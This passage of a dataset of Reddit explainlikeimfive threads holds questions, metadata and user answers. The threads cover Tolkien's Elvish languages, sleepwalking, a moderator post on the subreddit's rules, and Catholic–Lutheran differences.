"http://www.pharmtech.com/pharmtech/Peer-Reviewed+Research/Salt-Selection-in-Drug-Development/ArticleStandard/Article/detail/500407"], [], [], [], [], [], []]}
{"q_id": "1tldms", "title": "how did j.r.r. tolkien come to create two elvish languages (quenya and sindarin) with such sophistication and consistency that it can be spoken fluently?", "selftext": "The Silmarillion, The Hobbit, and the Lord of the Rings trilogy have always captivated me. But to me the most captivating content within the books are the Elvish languages. Was there a method Tolkien used to create the languages or did he basically \"wing it\"? And also, is there an answer as to how long it took him to develop the languages?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tldms/eli5_how_did_jrr_tolkien_come_to_create_two/", "answers": {"a_id": ["ce93qh2", "ce97mh6", "ce99m0s", "ce9a4z4", "ce9a5h6", "ce9f4q3"], "score": [97, 7, 12, 2, 57, 3], "text": ["He was a professor of Language and Literature for 14 years, plus he loved languages in general. Some sources say his fiction was written just so he'd have an excuse to use his constructed languages.", "He wasn't the only person to create languages. In fact people are still doing it for fun and profit.  The Dothraki language was created for HBO when they started filming Game of Thrones.  The languages are called constructed languages or conlangs. Check out /r/conlangs for more information.", "the ELI5 reason is that he was a genius. Many people here are right, Sindarin and Quenya are based on welsh and finnish. And Tolkien was one of the most talented linguists of his generation.\n\nThe anecdote that I've heard about Tolkien sums up on what level he could handle languages. He was raised Catholic so the school he went to was run by nuns. He was preparing for a talent show in the school working on giving a speech in ancient greek. A couple of days before the performance one of the nuns thinks he would like to take a look at some old gothic texts as well. For the performance he gave a perfect oration of the speech he had been working on and greatly impressed the other students and teachers. He then went into a second speech, in perfect gothic, surprising everyone. ", "The reason he wrote his books was to give a background context for his languages, not the other way around. i.e. His passion was languages first not books. ", "Tolkien never put down enough vocabulary for the languages to be spoken fluently. \n\n\nWhat he did was to create roots from which he constructed his words, as well as a huge number of 'historical changes' to these roots and how they influenced the words. This enabled him - and us, even after his death - to easily reconstruct what words might/should have looked like, thus creating a huge vocabulary over the years.\n\n\nTo give you an example, I will now invent a root for a fantasy language, let's say, ***-olp***, which signifies words having to do with 'stone'. Also rules in my language are that nouns begin with 'd' and verbs end with 'a'. So a stone might be ***dolp*** while 'stoning' could be ***olpa***, and so forth.\n\nAnother root in my language is ***-yit***, a word that signifies 'using' and derivatives. 'Dyit' would be 'a use' or could be interpreted as 'a tool'. \n\nBecause I have these roots and rules how to construct certain types of words, I don't have to invent a word for, say, 'hammer', because a hammer could be ***dolpyit*** (=stone-tool). \n\nIt took me 2 minutes to come up with these simple roots and rules with which you could already construct simple phrases by extrapolation. Tolkien worked *decades* on his languages. \n\nAfter my death, people could use my roots and my rules to construct all the words they need. Worst case scenario, you have to invent new roots. Because Tolkien also gave historical background, even the construction of roots is possible. That's what they did for the Sindarin in the movies, for example.\n\nBecause Tolkien was a philologist and a linguist, he had a very precise understanding of how languages work and, more importantly, how they develop. With Sindarin and Quenya, he provided enough rules, roots and examples for a language to develop semi-naturally. But even his languages Khuzdul or Westron allow for some reconstruction and phrasing, because he provided all the basic elements.", "Aside from it being Tolkien, there is an accepted theory of \"Universal Grammar\" This states that there are a set amount of rules that govern all languages, this includes everything about all languages. Each language essentially pick and chooses which elements of UG it takes. For example the English sentence order is Subject Verb Object (SVO) where as other languages have different orders than this, i cant remember any specific examples off the top of my head (its Christmas eve, im a few bevs in, give me a break.) All languages also use subject, verbs and objects, but certain things change around such as how plurals, past tense (French even has an extra poast tense for really old stuff, like a super past tense) etc can all be changed and mixed within the rules you choose of the language. \n\nThere are also other rules that run along with this, for example \"The mens urinal theory\" say there are 5 urinals represented by these 0's\n\n* 0 0 0 0 0\n\nThe theory goes vowels, much like men in a urinal try to cover as much sound range (phonetics) between them as possible, which is why languages with 3 vowels can function just as well as those with 5 or more, for examples, if there was two vowels it would look like this:\n\n* X 0 0 0 X\n\nthree:\n\n* X 0 X 0 X\n\nOnce you understand all these rules, and what combinations are possible etc, technically anyone can begin to form their own language, you only have to look at the variations between all the different languages already existing to see what is actually possible, there is click languages, and even a whistle language! (I cant remember where, its somewhere very mountainous, basically it developed because the whistles travelled better around the mountains than shouting.)\n\nNone of these takes away from the immense, time, effort and dedication would take to start to form your own language, but when you know the logic behind it, it is possible. \n\nsorry if this isnt the answer you wanted, i like attempting to put my degree to use now and then! \n\nEdit: I know this isnt Tolkien specific, but it gives an idea about how a language can me created. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3u9fk6", "title": "how do sleepwalkers know where they are going or what they are doing when their eyes are closed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3u9fk6/eli5_how_do_sleepwalkers_know_where_they_are/", "answers": {"a_id": ["cxczz74", "cxd0kma", "cxd0zu5", "cxd3udz", "cxd8lsw", "cxddj9f", "cxdx686"], "score": [18, 5, 7, 2, 2, 2, 2], "text": ["You don't have to have your eyes closed to be sleep walking. Most don't, actually. Often times it's just a state of being semi-awake, where you can go about doing things but you memory or higher reasoning functions are asleep or dillusional. ", "I used to be a sleepwalker myself, and I can attest to that your eyes aren't closed, you're just not aware.\n\nWhen I was 8, my family filmed me running into the living room in my pajamas, going up the stairs, and reading a Donald comic for five minutes before running back to bed, all the while sleepwalking. I wasn't responding to my family the entire time.", "My brother was a sleep walker. His eyes would be open. You really can't tell they are \"asleep\" until they seem either unresponsive, or respond in a completely unexpected manner.", "I sleep walk when I'm stressed. As far as I can make out, i just remember where things are. Like if you closed your eyes now you'd remember the table in front of you. Or walking through my house in the dark I can avoid the squeaky floorboard, its not even conscious memory, just muscle memory.\n\n\n I've only ever once done it in a place I didn't know (not my house, parents' house or SO's place)  &  I smacked my face into a door post within 10 seconds. Not fun", "Well,you don't have to have eyes closed when you sleepwalk. I can attest, I'm a sleepwalker. Also, if you know the layout of your house, you can navigate it.", "Yeah, most of the time our eyes are open, we're just not processing the information consciously. Sometimes, though, if we know the area well enough we don't have to? I guess you could say, which is how I usually sleep-walk, with my eyes closed. When I moved back into my mums house, I lived in her top floor which was practically a loft, but I didn't have any furniture so it was just a big open room with a bed on one side, a tv stand in one corner and a computer desk in the other. Woke up from sleep walking one night not long after moving up there, pitch black in the middle of the room with no phone or anything emitting light (I had black out curtains), I had no idea where I was, I thought I was stuck in a night terror which I used to have a lot of. I ended up just laying on the cold hardwood floor and sleeping there until morning ", "I sleptwalked from 5 to about 20yrs old. Sleepwalking was very much like being on drugs. I would be very aware of my surroundings,, but they may not appear to me to be what they really are. For instance, if I was talking to you, I may think I was talking to someone else. It is like being in a dream that overlies reality. \nThe last time I remember sleepwalking, I drove a few miles through the city to a friend's house. I thought it was a dream. I awoke in my boxer's on his couch, a little confused. My friend said I came over late, sat down on the couch and started talking. About 10 minutes into the conversation, he said I started talking about more random things and started to make no sense. A few minutes later I was asleep. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "j3cls", "title": "a quick announcement on the direction of this subreddit.", "selftext": "*\u201cIf you can't explain it simply, you don't understand it well enough\u201d*  \n\u2013 Albert Einstein\n\n----\n\nAs I'm sure you already know, this subreddit is by far the quickest-growing in reddit's history, and is already in the top 100 on the entire site.  However, with our rapidly growing size we'll need to be extra careful that we head in the right direction.\n\n**Most importantly, remember the name of the subreddit.** This is for legitimately elementary school-level explanations. [Here](_URL_2_) is a wonderful example. [Here](_URL_0_), on the other hand, is something we should steer clear of (no offense to Nebula42; it's very informative but you'd be hard-pressed to find a five-year-old who can understand it).  Some topics are very difficult to explain on a low level, but keep in mind the Einstein quote above.\n\n**Our other policies will be opened now for public discussion.** We want to create an environment of friendly collaboration, so instead of making unilateral decisions we're going to propose a number of options for this /r/ and see what the popular opinion is.\n\n * **The ability to mark your question as answered.** If we implement this, by responding to a post with some keyphrase (\"thank you\" or something similar) you will trigger a CSS bot to mark your post with a check, letting other users know immediately that the post has been answered. *To ensure that we stay on an elementary school level, you would only mark an answer as sufficient if you really and truly believe it is simple enough for an elementary school student.* Alternatively, we could have a panel of mods decide if an answer is good and apply checks accordingly.  Discuss.\n\n * **A way to distinguish between actual questions and other posts.** Administrative posts, suggestions for the /r/, and other submissions not actually looking for an explanation could be somehow distinguished (I suggest by having the link color of non-question posts be faded). This would require having a keyword (LI5 or ELI5) in the question posts so they are easily distinguished.  This also means users will be forced to use LI5 or ELI5 or their post will be miscategorized. Discuss.\n\n * **User tags for users who consistently give good answers.**  Similar to something r/askscience has, we'd like to give tags to users who repeatedly give educated and, more importantly, *simple* explanations of complicated topics.  The how, when, and what are less clear.  Discuss.\n\n * **Removing comments which add nothing.**  I would personally like to see fewer comments like [this](_URL_1_) in this subreddit. I feel it clogs threads and takes focus away from responders who have something to add (like [this response to the same parent comment](_URL_3_)).  I would support reporting/removing comments which add nothing, but again \u2013\u00a0this thread is for public discussion of policies.\n\nWe hope this subreddit will continue to grow in a positive and fruitful direction, and we can't do it without your help in guiding it.  Please discuss any of the above topics in the comment section!\n\n**tl;dr \u2013 read the bold parts**", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j3cls/a_quick_announcement_on_the_direction_of_this/", "answers": {"a_id": ["c28sbzy", "c28sd09", "c28sdg7", "c28sfsu", "c28sfuo", "c28sgaa", "c28sgr6", "c28sh8p", "c28si16", "c28sk2w", "c28sn4h", "c28spd9", "c28sql0", "c28sthj", "c28sxxv", "c28syrs", "c28szrz", "c28szu8", "c28t2rr", "c28t7vp", "c28talt", "c28td36", "c28tjup", "c28to30", "c28txgs", "c28u1az", "c28u33q", "c28ubxq", "c28udmt", "c28ujos", "c28v3ab", "c28v64e", "c28vauf", "c28vb9d", "c28ve76", "c28vg2i", "c28vh88", "c28vj01", "c28vl54", "c28vli0", "c28vopx", "c28vunt", "c28vwix", "c28ww87", "c28wxhp", "c28y4i7", "c28z0up", "c28z66o"], "score": [11, 373, 13, 4, 2, 123, 2, 58, 23, 7, 3, 4, 17, 7, 2, 2, 2, 4, 3, 4, 3, 2, 2, 9, 2, 3, 3, 3, 3, 2, 2, 2, 2, 2, 3, 2, 2, 2, 3, 2, 3, 3, 3, 2, 5, 2, 2, 2], "text": ["In addition to those things, I'd recommend a page with FAQs. There are just so many posts asking  why there are two political parties in the US. ", " > To ensure that we stay on an elementary school level, you would only mark an answer as sufficient if you really and truly believe it is simple enough for an elementary school student. \n\nSee now this is strange to me. I understand the name of the subreddit, but I figured it was mostly rhetorical. I've spent a lot of time trying to answer people for the sake of informing them, but not condescending, as you would to a 5 year old. I understand we want it simple, but not literally elementary school simple, as that leaves an answer devoid of actual insight.\n\nI like the 'answered' status idea, but I don't think it should immediately close the thread. In my case, I often answer what I know, and hope that someone will fill in what I could not. That has worked very well so far.\n\nI don't think posts need to be tagged as much as unnecessary, repetitive, political charged, overly broad (ie 'explain sociology to me') or meta posts need to just be removed by moderation. Also, I don't see why posts that can't be found easily on Wikipedia need to be here. I thought it was for questions that weren't easily found or understand, such as \"what are the implications of this economic model...\", not \"how the does US congress work?\". Someone can watch schoolhouse rocks to figure that out.\n\nI'd like a user tag XD\n\nThis has become a fun way to waste time and work and share my knowledge in certain areas, specifically politics, and I'm enjoying it. I hope to continue to contribute, so long as I have this kind of free time.\n\nEdit: Corrections and formatting.", " > User tags for users who consistently give good answers.\n\n~~I like this idea.  In addition, we could possibly put what fields people are qualified in, as r/askscience does.~~\n\nEDIT: I think I'll be reversing my stance on this.  I think it would do nothing but create a false authority on matters, and would be a bigger headache than help.", "ALLOW SCIENCE RELATED QUESTIONS! ", "Can someone ELI5 the difference between this subreddit and r/answers? What I'm currently getting from this is that ELI5 is supposed to be simpler? Is that it? Couldn't we just ask people to specify that they'd like the answer to be dumbed down a bit more when asking a question in r/answers?\n\nAnyhow, I like the idea of marking the questions as answered, but sometimes a question has been answered, but not very well. I guess by allowing the OP to mark it themselves it would probably be fine, but there's still always the element of feeling like there could be *better* answers. \n\nAs for user tags, I'm not so sure I like the idea. It works in r/askscience because there are clearly defined areas for each expert to be tagged in, whereas here we'd probably have to make do with some sort of ranking system, which is difficult given the fact that it's hard to keep track of all answerers. \n\nI like the idea of fading links to non-questions. ", "I'll say that I disagree with the user tagging system. Doing so creates a hierarchy and an artificial authority that we don't need in this particular subreddit. It should be that anyone can ask a question and anyone can answer it. \n\nLet the community decide what a good answer is. The rules already preclude people from speculating. It also asks for sources. This should be enough to make sure answers are at least factually-correct. ", "Regarding the ability to mark as answered, most submitters will probably not do this. Perhaps this marker could be calculated automatically based on the ratio of upvotes on the OP thread vs upvotes on the highest-rated top-level comment? Otherwise we're leaving it up to either question submitters (who probably won't do it) or moderators (who are probably going to have a LOT of reading to do).", "A little tip for all of the people who will be answering questions. The best way to get someone to understand something complicated is to use an analogy of something simple. For example \"Think of your RAM as your desk in your office..\" And then go on to explain how it is like your desk in your office. Stories also work really well. \"Imagine you're sitting at your desk trying to multi task...\" The story will help draw a picture that we can then equate to the topic we are confused about.\n\nHow does this help you? If it's a good analogy/example then you will get upboats and we will thank you for helping us understand complicated things.\n\nHow does this help me? I'm dumb. Sometimes it's hard for me to understand things. This makes it so much easier, and I will even feel like I can explain it to my friends if needed. I'll probably say, \"Here. Let me explain it to you like you were five.\"\n\nSimply making an analogy of things will make everything about the explanation better.. There's an office clip where Oscar explains what a surplus is to Michael. I think that should be our guiding light. \n\n**EDIT:** [Here it is. Our perfect example.](_URL_0_) ", "In keeping with the theme of this subreddit, I will respond as simply as I can:\n\n > * The ability to mark your question as answered\n > * A way to distinguish between actual questions and other posts.\n\nSounds good!\n\n >  * User tags for users who consistently give good answers\n\nSounds ok.\n\n >  * Removing comments which add nothing.\n\nSounds bad. We have downvotes for a reason, let the community decide. :)", "I think we ought to push for more real life examples when answering a question. [Here](_URL_0_) is an **incredible** example of what a great answer is when explained using a real-world scenario.", "So are questions involving sex ok? You can probably explain, like, sounding in terms a five-year-old would understand, but I wouldn't want to try.", " > A way to distinguish between actual questions and other posts.\n\nEither preface with [META] or have a meta-subreddit.", "There is a difference between a simple, analogy laden answer and an answer you would give to a 5 year old.\n\nA five year old would tune out any answer longer than 30 seconds unless it was also action packed or about something that they needed explained so that they can continue playing. A five year old asking about socialism would accept \"it's a different way of running a country\" and wouldn't care about why it's different.\n\nAnd finally, **a five year old wouldn't be asking these questions on the internet.**\n\nI can agree with OP that answers should be jargon free and the only technical language that should be used is that which is absolutely necessary. But explaining things simply doesn't mean that we shouldn't be using an adult vocabulary. People who want to learn and understand things probably wouldn't mind having a larger vocabulary anyway.\n\nThe crux^1 of the matter is this: Do we want this to be a place where things are explained in straightforward, easy to understand ways? Or do we want this to be a place where the answer is given as though to an actual 5 year old. The two are not the same. We just need to decide what we want; hold a vote, mods discuss, whatever method. And then we can go on.\n\n1) decisive or most important point \n\nEdit to add: The logo for this subreddit is well done and quite apt.", "I could write a bot that uses the reddit API to mark posts as answered.\n\nInitial setup:\n\n1. Register a user such as LI5_answered or something\n\n2. Add LI5_answered to the mods\n\n3. Add to the FAQ that if you PM LI5_answered with the URL of your post when it's answered, it will mark it as answered.\n\n4. Install the bot as a cron job on a server.\n\nBot Logic:\n\n1. Every 20 minutes, check for PMs.\n\n2. Process PMs by using regular expressions to find the ID of the posts that were PMed to it.\n\n3. Check that the PM was sent from the post's author.\n\n4. Add the post to the subreddit's CSS via the API, removing the oldest if there is no more room.\n\n5. Respond to the PM saying the post was marked as answered.\n\nWant me to write it up?", "[This](_URL_0_) response was actually very insightful. I knew what wikileaks was, but I wasn't sure why they seemed to have no power. This actually answered *my* questions. \n\nI personally think its a  bad move to try and police a subreddit too much. Have some very basic guidelines, but let the people run the subreddit. That's what the up and down arrows are for.", "Here are a few quick retorts to what you had mentioned above:\n\n\n >  ** Most importantly, remember the name of the subreddit.**\n\n- In my honest opinion, I think answer-ers should shoot for more of a middle-school level vocabulary when they answer. Yes, it's called \"Explain like I'm 5\", but we're not five. Most of us are in our 20s-30s, and have a decent vocabulary. Metaphors are great, but when one isn't presented and it's just a explanation, I think we can all grasp a little more advanced vocabulary. Just nothing out of left field or anything you'd find in an AP English class.\n\n >  **The ability to mark your question as answered.**\n\n- I like the idea of making questions answered, but don't completely end the post. Sometimes, there are open gaps or even more information to add, just like with the Wikileaks example. There's always more to add, don't shut it down when you have only one answer. That's like getting one real-life friend, and calling it quits and saying you have enough. You can always expand on something.\n\n >  **A way to distinguish between actual questions and other posts.**\n\n- This is something I was hoping to see implemented from the beginning. Most of us always look at the top post, and sometimes see it's just an Admin post. Nothing wrong with this, but we were looking for an actual question. if you darken the background to a different color, and put a bar below the last admin post and call that zone the announcement area, we become able to distinguish between the two. I'm not saying to do exactly that, but you get what I'm saying. \n\n >  **User tags for users who consistently give good answers. **\n\n- Great idea. Nothing more on my (the users) end needs to be given, this is a no-brainer and needs to be implemented in the next round of updates.\n\n >  **Removing comments which add nothing. **\n\n- Honestly, I kind of like it. I know most people probably won't, and if I were the admin of the subreddit, I know it'd get on my nerves as well. I think I would just encourage the report button as much as possible, and you'd be able to see if the users care about this as much as you do.\n\nThe user's opinion always triumphs your (admin's) opinion, especially in volume. You can do whatever you'd like to this subreddit, but in the end, if we aren't listened to, we're gonna leave. You've done a great step so far by listing possible implementations and asking for discussion around it and what we'd like to see. Thank you and I hope to see this community thrive.", " > **The ability to mark your question as answered.**\n\nI think one of the trigger words should be Ohhhh, in keeping with the theme.", "Sure, removing comments sounds nice, but think of the work load for moderators, deciding what is useless and what isn't, the subsequent backlash when someone disagrees with a mods decision, or the possible abuse of this power by a mod in the future.  This is a job better done by the people of Reddit.  In fact, it is the reason we have the little arrows next to everything.  They can think for themselves what should and should not be seen.", "Definitely remove comments that add nothing! ", "People are saying that the user tags would be a bad idea.  They're wrong.\n\nThe unfortunate reality is that reddit is very, very heavily biased, which is what we saw in the \"Explain the Israel situation to me!' post yesterday.  One of the commentors put it well: \"Test Failed\"\n\nAvoiding political/economic bias is going to be the *biggest* challenge this subreddit sees, and tagging users as having the ability to be unbiased is a good start to addressing it.\n\nIf we *don't* come up with a solution to this problem, this sub will turn into yet another political circlejerk a la, /r/politics /r/atheism and (unfortunately) /r/askreddit.\n\nMy other suggestion (beyond using the user tags) is to wield the removal hammer often.  If a post is flat wrong, or inappropriate for the spirit of the sub, or heavily biased (in political explanations), remove it.\n\nIf people don't like that, they can go back to /r/politics.", "With the additions being made, this subreddit seems like it will look a bit like [Stack Overflow](_URL_0_).  Not a criticism or anything.", "I think something to keep in mind is that this sub-reddit should accomplish the primary goal of providing simple explanation naturally.  If one is visiting this sub-reddit, they're probably going to appreciate/up-vote the most appropriate responses.  I think you should definitely give this some time to flourish before you start putting restrictions on it.  We can establish some guidelines but I am personally hopeful that things will kind of moderate themselves effectively by virtue of the implied nature of the community.\n\nMicro-managing and such just causes more stress/problems.", "All the successful explainlikeimfive answers that I have read have been metaphors. I think if members follow that guideline, there answers will be well received.", "LI5 is currently experiencing a massive influx of excited people eager to participate.  When I created /r/favors it went to 4,000 people in 24 hours; that's nothing compared to LI5's 30,000 but you have to remember Reddit was about 1/10th the size at the time.  The same thing happened to /r/Favors - a whole bunch of people jumping in and adding and a whole bunch of people jumping in and subtracting and a massive, primal urge to **organize things.**\n\nI've been watching this subreddit closely and adding where I can.  I think it has a lot of promise - but it also has a lot of Inglip.  The novelty *will* die off in a week and the people who are left are the ones who will *truly* build this community.  Consider the input granted in response to this post, cogitate on it for a week, and then next Monday, see how many of your changes are necessary.  With barely 24 hours in existence, you don't really know what you have; with a week in the saddle, you'll have a pretty good idea what you'll become.\n\nGood luck.  I think this place has a lot of promise and I think if you give it time to blossom you'll end up with prettier flowers than if you try and force the bud.", "Jesus Raptor Christ, this subreddit already has 30k readers? ", "If you hold to this, I think the subreddit is doomed to either lose popularity or be consistently misused or both.\n\nFive year-olds are wonderful people, but there are some things that are hopeless to try to explain to them.  It may be difficult to get a five year-old to grasp the idea of a country much less a war.\n\nYou can try to explain something like an investment to a five year old kid, but first you might have to explain money.  You have to be incredibly patient when explaining this stuff, and a real, credible attempt, would be very tedious for an adult to read.\n\nI took the title of the subreddit to be a way of saying \"explain this to me as simply as possible\", since the title is \"explain like **I'm** five\" rather than a fundamentalist \"explain this to me using condescending language involving Billy and Johnny on the playground\".\n", "You'd have done better to name it EXPLAINLIKEIMTWELVE", "\"Removing comments which add nothing\"\nLove this idea.", "I just want to add that I also wholeheartedly agree with removing comments that add nothing. This subreddit got popular very very quickly, and I think without some strict moderation it will very quickly full of useless memes/jokes/etc.", "The problem is, somethings are impossible to explain to a normal 5-year old for exactly because the idea is complex.  The world is more complex than the 5-year old mind.\n\nThis sub-forum should be: Explain like I'm an 18-year old high school graduate.  \n\nOtherwise I don't see the point of this existing at all.", "**marking as answered** The OP may be satisfied with a certain answer, but I find I often like to read 2 or 3 different ways of explanation for me to get a full understanding of a topic. I don't see why this feature is necessary, threads will leave the home page naturally after a period of time.\n\n**Distinguishing between questions and other posts** I like it. A keyword in the title is a pain though. Could there be either a distinction when submitting (like how we can choose between self and link posts now), or a button once the post is made (like how we can mark posts NSFW now)?\n\n**user tags** I don't see this as being necessary. If the answer is good, it will be upvoted. If it's not, it won't be. The user gets all the authority he or she needs from upvotes\n\n**Removing content which adds nothing**. Sounds good to me.", "I posted two questions ... one about ponzi schemes and one about the theory of evolution ...why did they not show up in r/new??? One has been nearly 24 hours...", "Just because a five year old won't understand it doesn't mean it shouldn't belong here. This should be a subreddit where any legit question can be asked. For example the WikiLeaks thread, a valid question that I actually learned something from.", " > This would require having a keyword (LI5 or ELI5) in the question posts so they are easily distinguished.\n\nseeing as the purpose of this subreddit is to ask questions, wouldn't it make more sense to tag the ones that *aren't* questions?", "Making something appropriate for an \"elementary school level\" is **not** the same as making it appropriate for a five year old.\n\nMost kids (at least in the US) start kindergarten when they are five. In kindergarten they begin learning the letters of the alphabet, how to count, and how to read on the level of \"see spot run.\" Most importantly, they learn how to behave in a school setting - how to sit still rather than run around when the mood strikes them, how to not snatch things from other kids, how to listen to the teacher.\n\nA question like \"what's socialism?\" is simply not relevant to the world of a five-year-old, even a quite precocious one. It's just a question they would never ask. Even if they did, an answer appropriate for the five-year-old would be offensively pandering if given to an adult.\n\nIf you *really* want this to be a subreddit filled with information appropriate for five-year-olds - for example, as a resource for kindergarten teachers to get new material for their classes - then it is simply not going to serve the purpose that most people here seem to think it's intended for.", "My opinions on your proposed changes:\n\n**The ability to mark your question as answered.** I think this would be a mistake, because the questions are not of interest only to the OP. In /r/TOMT, if the OP says the question is answered, then it's answered. On this subreddit, if the OP is satisfied and wandered away, that doesn't mean nobody else remains interested. And the vast majority of the participants in a thread are not the OP.\n\n**A way to distinguish between actual questions and other posts.** If the subreddit is going according to plan, then there shouldn't *be* any other posts, except the minimum possible number of administrative items, which should be obvious from context.\n\n**User tags for users who consistently give good answers.** Worthwhile, if not abused. Who decides which users get tags? Is it purely a value judgment by the mods, or are there objective criteria?\n\n**Removing comments which add nothing.** You'll just wind up offending a lot of people. Many people browse all-of-reddit without chainging their behavior very much depending on which subreddit they're on. If the community really buys into the mods' vision of the subreddit, then downvoting will solve this. If that doesn't happen, then you're just tilting at a windmill.", "As far as the questions needing the keyword, I think it should be the other way around.  LI5 would mark posts pertaining to the /r/, and without it it'd be a question.  That makes more sense to me, at least.", "How about letting the submitter also give a rough idea of how they want it explained, like [ELI9] or something? I see the problem with that: What's the difference between ELI5 and ELI6?\n\nBut [this](_URL_0_) is what I'm talking about. It's a good question with an easy-to-understand answer, but no 5 year old is really going to understand it.\n\nWhat I'm trying to say is that if a computer-literate person wants an answer, they don't really want it dumbed down all the way: That works better on concepts.\n\nOr, we can make this a more-concept based subreddit, with r/answers or something being a more-answer based subreddit.\n\nSorry for the long post, especially when you have so many replies.", "Some of the questions posted are already too advanced for a five year-old to have asked, so the answers are necessarily advanced as well. In such cases, should we refuse to answer the question, or try to explain it as simply as possible, even if it's more geared towards, say, a ten year-old?", "Removing comments is opening a can of worms. That's what the voting system is for, specifically the comment sorting and the ability to hide comments below a certain upvote count.", "I just want to point out that you are misrepresenting Einstein's quote.\n\nIf you read literature written by the man he makes it clear that \"Simple\" is the equivalent level that a college freshman or high school graduate should be able to understand. He describes this most clearly in his book:\n\n[Relativity: The Special and the General Theory](_URL_0_)\n\nTo him, the most simple who could make his ideas without compromising on accuracy was roughly the level of an educated 18 year old. This is clearly out of the scope of this subreddit.", " > Some topics are very difficult to explain on a low level, but keep in mind the Einstein quote above.\n\nIt's not so much a lack of understanding that makes it difficult for some topics, it's the length of explanation required to explain certain things fully.  Care to explain economic policy to a five year old?  I look forward to reading it on Kindle.", "I think most of us can understand things written for older-than-five audiences.  Explain it like I'm in 9th grade would be a good compromise.", "Can I suggest creating links on the right hand side for questions that get asked and answered repeatedly. For example when we get closer to election time I can imagine the question \"how does the electoral college work\" popping up daily. When it does, the best thread can be linked on the right hand side. Perhaps have different categories with links below. \n\nSeems like \"like I am 5\" might be a little too low level. Either that or you are overestimating 5 year olds. 5 year olds are in preschool or kindergarten. I think \"like Im a 5th grader\" works better. I know it goes against the name of the subreddit but just a thought.  Also I don't like the idea of tagging something as \"answered\" because there is always more to add and maybe corrections should be made. Just like yesterday's first post to explain the debt ceiling crisis, the top answer (when I looked at it) wasn't actually the best or even correct. The most important thing to understand about the debt ceiling is how it relates to the issuing of bonds which wasn't mentioned. If it were marked \"answered\" maybe nobody would go in there to correct it or mention it. \n\n", "Restricting answers to what a literal 5-year-old would understand seems kinda stupid. Same with removing comments which \"add nothing.\" Let the community decide what we consider worthy on a case-by-case basis. **Trust the upvote/downvote system.**", "I think it would be helpful if, when someone decides that their question has been answered, they edit their original post to link to the best answers.", " > If we implement this, by responding to a post with some keyphrase (\"thank you\" or something similar)\n\nplease don't make it \"thank you\", suggestions:\n\n1. /thread\n\n2. Answer accepted.\n\n3. shazam\n\n4. I've made a huge mistake.\n\nEDIT:  basically, make it a little less natural language, and make it something people can remember.  i think /thread is good because it's a stupid meme with the actual meaning that we'd be using it for.  also:\n\n > Removing comments which add nothing. I would personally like to see fewer comments like this in this subreddit. \n\nlet's just do what askscience does and continually remind the community to downvote these things and politely explain that uninformative, off-topic and circlejerky comments are frowned upon.", "There are some concepts 5 year olds wouldn't understand, and I see no problem explaining something more indepth if it helps the point.  Being so literal about elementary school level is silly.  Most everyone on this site will have been through middle + high school, so I believe anything around grade school level explanations should be fine.  Simple English explanations I think would be a better code to work by."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/explainlikeimfive/comments/j350s/can_you_explain_the_difference_between_a/c28qks2", "http://www.reddit.com/r/explainlikeimfive/comments/j2epj/could_someone_please_explain_wikileaks/c28mfg2", "http://www.reddit.com/r/explainlikeimfive/comments/j2epj/could_someone_please_explain_wikileaks/c28lbyd", "http://www.reddit.com/r/explainlikeimfive/comments/j2epj/could_someone_please_explain_wikileaks/c28ng44"], "answers_urls": [[], [], [], [], [], [], [], ["http://vimeo.com/27060669"], [], ["http://www.reddit.com/r/explainlikeimfive/comments/j2kzr/why_does_the_product_of_two_negative_numbers/c28m9mg"], [], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/j2epj/could_someone_please_explain_wikileaks/c28ng44"], [], [], [], [], [], ["http://stackoverflow.com/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.reddit.com/r/explainlikeimfive/comments/j382g/eli5_how_how_antivirus_companies_generate_malware/c28rzyi"], [], [], ["http://en.wikisource.org/wiki/Relativity:_The_Special_and_General_Theory"], [], [], [], [], [], [], []]}
{"q_id": "6hbxgs", "title": "the main differences between catholicism and lutheranism", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6hbxgs/eli5_the_main_differences_between_catholicism_and/", "answers": {"a_id": ["dix6cbz", "dix8kkv", "dixfp89", "dixpdex"], "score": [4, 3, 2, 3], "text": ["Historically, Lutheranism branched from Catholicism in protest of the sale of indulgences. In the 16th century church, salvation could be acquired by paying cash money for your sins. Luther objected and proposed that salvation was through faith. (Sola Fida) \n\nToday's Lutherans don't even exactly match the theology of Luther. For example, Luther believed in the perpetual Virginity of Mary, while today's Lutherans don't all follow that doctrine. \n\nAdd on to this that there are even different sects of Lutheranism and you get more variation. Examples would be ELCA vs LCMS.  ", "Catholics correct me if I'm wrong.\nI was raised Lutheran and through our confirmation classes we were told that the main differences are that 1) The Lutheran religion was formed because Luther didn't believe in many things the Catholic Church was doing, which led to him writing 95 \"changes\" he proposed and branched into his own religion. So Lutheranism was started based off of many things the catholic church did, which is why it's very similar in some areas. 2) Catholics incorporate the Virgin Mary into their prayers and teachings way more than my branch of Lutheranism ever did. And 3) (though I'm sure there's much more) Lutherans do not believe in the confessional or the repentance areas that the priest would suggest to atone for sins. I.E.: we don't tell our reverend our wrongdoings and they don't tell us we need to say 10 Hail Marys to repent. ", "The single most important thing: Catholics believe that there is only a single authority on the Christian faith: the Roman Catholic Church, and that you can only really be a Christian and achieve salvation by being part of it. That is literally what \"catholic\" means.", "I am an LCMS Lutheran with a keen interest in theology, though obviously I know my own better than Roman Catholic.  I'm on my way out the door to work; I'm sorry I have to keep it brief.  These are a few of the more commonly discussed differences:\n\n1. Salvation beliefs.  Lutherans believe that faith carries you 100% of the way, while Catholicism sees more of a faith spark plug that gets your righteousness-through-works engine running.  This is an irreconcilable and primary difference between the groups.\n2. Prayer.  Catholics tend to pray to various saints, while Lutherans go straight to God.  I understand it to be a humility thing for the Catholics, while Lutherans view the tearing of the veil (Matthew 27:51) as the removal of the Old Testament barrier between God and man, no longer requiring a priestly intercessor.\n3. Communion beliefs. Catholics believe the bread and wine are completely transformed into body and blood.  Lutherans agree that something is going on, but it's hard to pin down 